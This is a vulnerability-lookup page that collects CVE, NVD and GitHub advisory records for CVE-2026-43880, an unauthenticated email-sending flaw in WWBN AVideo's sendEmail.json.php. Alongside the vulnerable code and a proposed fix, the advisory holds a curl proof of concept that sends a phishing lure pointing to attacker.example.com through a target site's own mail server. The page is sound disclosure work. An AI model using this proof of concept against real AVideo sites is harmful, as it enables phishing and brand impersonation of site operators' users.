Vulnerability-Lookup

CVE-2026-43880 (GCVE-0-2026-43880)

Vulnerability from cvelistv5 – Published: 2026-05-11 20:37 – Updated: 2026-05-12 12:55

Title

WWBN AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Allows Phishing from Site's Legitimate From Address

Summary

WWBN AVideo is an open source video platform. In versions up to and including 29.0, objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation. Commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2 contains an updated fix.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-12 12:55 UTC

CWE

CWE-940 - Improper Verification of Source of a Communication Channel

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7712 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/4e370989585…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 29.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-43880",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-12T12:55:28.626058Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:55:33.005Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a \"public write action\" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation. Commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2 contains an updated fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-940",
              "description": "CWE-940: Improper Verification of Source of a Communication Channel",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:37:15.967Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
        }
      ],
      "source": {
        "advisory": "GHSA-5hgj-7gm9-cff5",
        "discovery": "UNKNOWN"
      },
      "title": "WWBN AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Allows Phishing from Site\u0027s Legitimate From Address"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-43880",
    "datePublished": "2026-05-11T20:37:15.967Z",
    "dateReserved": "2026-05-04T15:17:09.329Z",
    "dateUpdated": "2026-05-12T12:55:33.005Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-43880",
      "date": "2026-10-16",
      "epss": "0.00388",
      "percentile": "0.31343"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "AVideo",
                "vendor": "WWBN",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c= 29.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a \"public write action\" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation. Commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2 contains an updated fix."
          }
        ],
        "id": "CVE-2026-43880",
        "lastModified": "2026-06-17T10:50:01.143",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 5.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-43880",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-12T12:55:28.626058Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-05-11T22:22:12.530",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-940"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-06-05T19:40:08+00:00",
      "cve": "CVE-2026-43880",
      "id": "CVE-2026-43880",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "WWBN AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Allows Phishing from Site\u0027s Legitimate From Address",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43880.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-43880",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-12T12:55:28.626058Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-05-12T12:55:23.158Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "AVideo",
              "vendor": "WWBN",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c= 29.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a \"public write action\" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation. Commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2 contains an updated fix."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 5.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-940",
                  "description": "CWE-940: Improper Verification of Source of a Communication Channel",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-11T20:37:15.967Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
            },
            {
              "name": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
            }
          ],
          "source": {
            "advisory": "GHSA-5hgj-7gm9-cff5",
            "discovery": "UNKNOWN"
          },
          "title": "WWBN AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Allows Phishing from Site\u0027s Legitimate From Address"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-43880",
        "datePublished": "2026-05-11T20:37:15.967Z",
        "dateReserved": "2026-05-04T15:17:09.329Z",
        "dateUpdated": "2026-05-11T20:37:15.967Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-43880

Vulnerability from fkie_nvd - Published: 2026-05-11 22:22 - Updated: 2026-06-17 10:50

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a \"public write action\" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation. Commit 4e3709895857a5857f0edb46b0ee984de0d9e1a2 contains an updated fix."
    }
  ],
  "id": "CVE-2026-43880",
  "lastModified": "2026-06-17T10:50:01.143",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-43880",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-12T12:55:28.626058Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-11T22:22:12.530",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-940"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-5HGJ-7GM9-CFF5

Vulnerability from github – Published: 2026-05-05 21:56 – Updated: 2026-05-13 14:20

Summary

AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address

Details

Summary

objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.

Details

Vulnerable code (objects/sendEmail.json.php):

10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12:     $valid = true;
13: }
...
16: if ($valid) {
...
24:     $mail = new \PHPMailer\PHPMailer\PHPMailer();
25:     setSiteSendMessage($mail);           // uses site's SMTP credentials
...
30:     $replyTo = User::getEmail_();
31:     if (empty($replyTo)) {
32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email
33:     }
34:
35:     $sendTo = $_POST['email'];            // attacker-controlled recipient
36:
37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38:     if (!empty($_POST['contactForm'])) {
39:         $replyTo = $_POST['email'];
40:         $sendTo  = $config->getContactEmail();
41:     }
42:
43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44:         $mail->AddReplyTo($replyTo);       // site's address
45:         $mail->setFrom($replyTo);          // From: site's address
...
47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim
...
49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51:         $mail->msgHTML($msg);
...
55:         if (!$mail->send()) { ... }

User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().

Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:

static $builtinBypass = [
    ...
    // Public write actions
    'sendEmail.json.php',
    ...
];
if (in_array($baseName, $builtinBypass, true)) { return; }

Why existing defenses don't mitigate the abuse: - Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse. - FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address. - htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender. - No rate limiting, no auth check, no association between the caller and the recipient address.

Flow summary for the abuse case (unauthenticated, no contactForm): 1. User::getEmail_() → '', so $replyTo = site's contact email (line 32) 2. $sendTo = attacker's chosen recipient (line 35) 3. contactForm branch skipped (line 38) 4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)

Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.

PoC

Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).

# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'

# 2. Send phishing email. Note: contactForm is OMITTED.
#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
#    - $sendTo = attacker-chosen recipient
#    - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=abc123' \
  --data-urlencode 'email=victim@target.com' \
  --data-urlencode 'first_name=Support Team' \
  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'

Expected server response:

{"error":"","success":"Message sent"}

Delivered headers at victim@target.com:

From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body:   <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...

Contrast with the intended contactForm=1 flow (correctly routes to the site owner):

curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=<newcaptcha>' \
  --data-urlencode 'email=attacker@attacker.com' \
  --data-urlencode 'comment=hi' \
  --data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)

Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.

Impact

Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
Brand impersonation / account-takeover chains. Attacker-controlled subject (first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator.
Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.

Recommended Fix

Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:

// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
    $valid = true;
}

// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
    $obj = new stdClass();
    $obj->error = __("Authentication required");
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$obj = new stdClass();
$obj->error = '';
if ($valid) {
    ...
    $replyTo = User::getEmail_();
    if (empty($replyTo)) {
        // Should no longer be reachable for arbitrary recipients.
        // Keep as defense-in-depth only for contactForm=1 path.
        $replyTo = $config->getContactEmail();
    }
    ...
}

Additional hardening: 1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages. 2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP. 3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains. 4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:56:19Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a \"public write action\" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation.\n\n## Details\n\n**Vulnerable code (`objects/sendEmail.json.php`):**\n\n```php\n10: $valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\n11: if(User::isAdmin()){\n12:     $valid = true;\n13: }\n...\n16: if ($valid) {\n...\n24:     $mail = new \\PHPMailer\\PHPMailer\\PHPMailer();\n25:     setSiteSendMessage($mail);           // uses site\u0027s SMTP credentials\n...\n30:     $replyTo = User::getEmail_();\n31:     if (empty($replyTo)) {\n32:         $replyTo = $config-\u003egetContactEmail();   // \u003c-- FALLBACK to site\u0027s own email\n33:     }\n34:\n35:     $sendTo = $_POST[\u0027email\u0027];            // attacker-controlled recipient\n36:\n37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field\n38:     if (!empty($_POST[\u0027contactForm\u0027])) {\n39:         $replyTo = $_POST[\u0027email\u0027];\n40:         $sendTo  = $config-\u003egetContactEmail();\n41:     }\n42:\n43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {\n44:         $mail-\u003eAddReplyTo($replyTo);       // site\u0027s address\n45:         $mail-\u003esetFrom($replyTo);          // From: site\u0027s address\n...\n47:         $mail-\u003eaddAddress($sendTo);        // TO: attacker-chosen victim\n...\n49:         $safeFirstName = htmlspecialchars($_POST[\u0027first_name\u0027], ENT_QUOTES, \u0027UTF-8\u0027);\n50:         $mail-\u003eSubject = \u0027Message From Site \u0027 . $config-\u003egetWebSiteTitle() . \" ({$safeFirstName})\";\n51:         $mail-\u003emsgHTML($msg);\n...\n55:         if (!$mail-\u003esend()) { ... }\n```\n\n**`User::getEmail_()` (`objects/user.php:345-352`):** returns `\u0027\u0027` when the caller is not logged in, driving the fallback to `$config-\u003egetContactEmail()`.\n\n**Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in \"public write actions\" CSRF/same-domain bypass:\n\n```php\nstatic $builtinBypass = [\n    ...\n    // Public write actions\n    \u0027sendEmail.json.php\u0027,\n    ...\n];\nif (in_array($baseName, $builtinBypass, true)) { return; }\n```\n\n**Why existing defenses don\u0027t mitigate the abuse:**\n- **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.\n- **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.\n- **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content \u2014 attacker fully controls the visible text (URL, instructions) and the perceived sender.\n- **No rate limiting, no auth check, no association between the caller and the recipient address.**\n\n**Flow summary for the abuse case (unauthenticated, no `contactForm`):**\n1. `User::getEmail_()` \u2192 `\u0027\u0027`, so `$replyTo` = site\u0027s contact email (line 32)\n2. `$sendTo` = attacker\u0027s chosen recipient (line 35)\n3. `contactForm` branch skipped (line 38)\n4. Site\u0027s SMTP sends `From: \u003csite contact\u003e` to `\u003cvictim\u003e` with attacker\u0027s subject/body (lines 44-51)\n\nBecause the message is genuinely relayed by the site\u0027s mail infrastructure, SPF/DKIM/DMARC for the site\u0027s domain pass, making the phishing message indistinguishable from legitimate site mail.\n\n## PoC\n\nEndpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).\n\n```bash\n# 1. Obtain a session + captcha image\ncurl -c cookies.txt -s \u0027http://target.example.com/captcha.php?refresh=1\u0027 -o captcha.png\n# attacker manually solves the captcha -\u003e e.g. \u0027abc123\u0027\n\n# 2. Send phishing email. Note: contactForm is OMITTED.\n#    - User::getEmail_() returns \u0027\u0027 (unauth) -\u003e $replyTo falls back to site\u0027s contact email\n#    - $sendTo = attacker-chosen recipient\n#    - setFrom($replyTo) -\u003e From: is the site\u0027s real address\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n  --data-urlencode \u0027captcha=abc123\u0027 \\\n  --data-urlencode \u0027email=victim@target.com\u0027 \\\n  --data-urlencode \u0027first_name=Support Team\u0027 \\\n  --data-urlencode \u0027comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset\u0027\n```\n\nExpected server response:\n```json\n{\"error\":\"\",\"success\":\"Message sent\"}\n```\n\nDelivered headers at `victim@target.com`:\n```\nFrom: \u003csite\u0027s legitimate contact email, e.g. contact@legit-videosite.com\u003e\nReply-To: \u003csite\u0027s legitimate contact email\u003e\nTo: victim@target.com\nSubject: Message From Site \u003cSiteName\u003e (Support Team)\nBody:   \u003cb\u003eEmail:\u003c/b\u003e victim@target.com\u003cbr\u003e\u003cbr\u003eUrgent: Your account will be suspended...\n```\n\nContrast with the intended `contactForm=1` flow (correctly routes to the site owner):\n```bash\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n  --data-urlencode \u0027captcha=\u003cnewcaptcha\u003e\u0027 \\\n  --data-urlencode \u0027email=attacker@attacker.com\u0027 \\\n  --data-urlencode \u0027comment=hi\u0027 \\\n  --data-urlencode \u0027contactForm=1\u0027\n# -\u003e $sendTo = site owner\u0027s contact email; $replyTo = 